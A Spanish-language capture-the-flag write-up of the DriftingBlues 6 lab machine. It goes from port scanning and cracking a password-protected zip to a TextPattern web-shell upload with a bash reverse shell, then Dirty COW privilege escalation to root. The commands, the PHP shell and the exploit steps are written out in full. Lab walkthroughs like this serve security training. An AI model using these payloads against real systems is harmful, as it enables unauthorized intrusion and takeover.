097 - DriftingBlues 06

Enumeramos puertos:

❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.162.90
❯ nmap -sCV -p80 -oN 02-targeted.txt 192.168.162.90
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-24 00:14 -04
Nmap scan report for 192.168.162.90
Host is up (0.00047s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.22 ((Debian))
|_http-title: driftingblues
|_http-server-header: Apache/2.2.22 (Debian)
| http-robots.txt: 1 disallowed entry
|_/textpattern/textpattern

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.02 seconds

El robots.txt da una pista para la enumeración (extensión .zip):

❯ cat robots.txt
User-agent: *
Disallow: /textpattern/textpattern

dont forget to add .zip extension to your dir-brute
;)

❯ gobuster dir -u 'http://192.168.162.90' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,png,gif,zip -r
...
/spammer.zip          (Status: 200) [Size: 179]
...

El spammer.zip está cifrado; lo crackeamos con john y extraemos las credenciales:

❯ zip2john spammer.zip > hash
❯ sudo /opt/john/run/john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
myspace4         (spammer.zip/creds.txt)
...

❯ unzip spammer.zip
[spammer.zip] creds.txt password: myspace4
 extracting: creds.txt

❯ cat creds.txt
mayer:lionheart

Iniciamos sesión en TextPattern (/textpattern/textpattern/) con esas credenciales. El CMS es vulnerable a RCE autenticado vía subida de archivos:

❯ searchsploit textpattern
...
TextPattern CMS 4.8.3 - Remote Code Execution (Authenticated) | php/webapps/48943.py
...

Subimos manualmente una webshell desde content → files:

❯ cat pwned.php
<?php
    shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.162.50/1234 0>&1'");
?>

Los archivos se sirven en /textpattern/files/, así que accedemos a pwned.php ahí:

❯ ncat -nlvp 1234
Ncat: Connection from 192.168.162.90:45642.
bash: no job control in this shell
www-data@driftingblues:/var/www/textpattern/files$

El kernel es 3.2.0, vulnerable a Dirty COW:

www-data@driftingblues:/tmp$ wget https://raw.githubusercontent.com/firefart/dirtycow/master/dirty.c --no-check-certificate
www-data@driftingblues:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt
www-data@driftingblues:/tmp$ ./dirty 1234

www-data@driftingblues:/tmp$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@driftingblues:/tmp$ su firefart
Password: 1234
firefart@driftingblues:/tmp# id
uid=0(firefart) gid=0(root) groups=0(root)

Obtenemos nuestra flag.

Fin.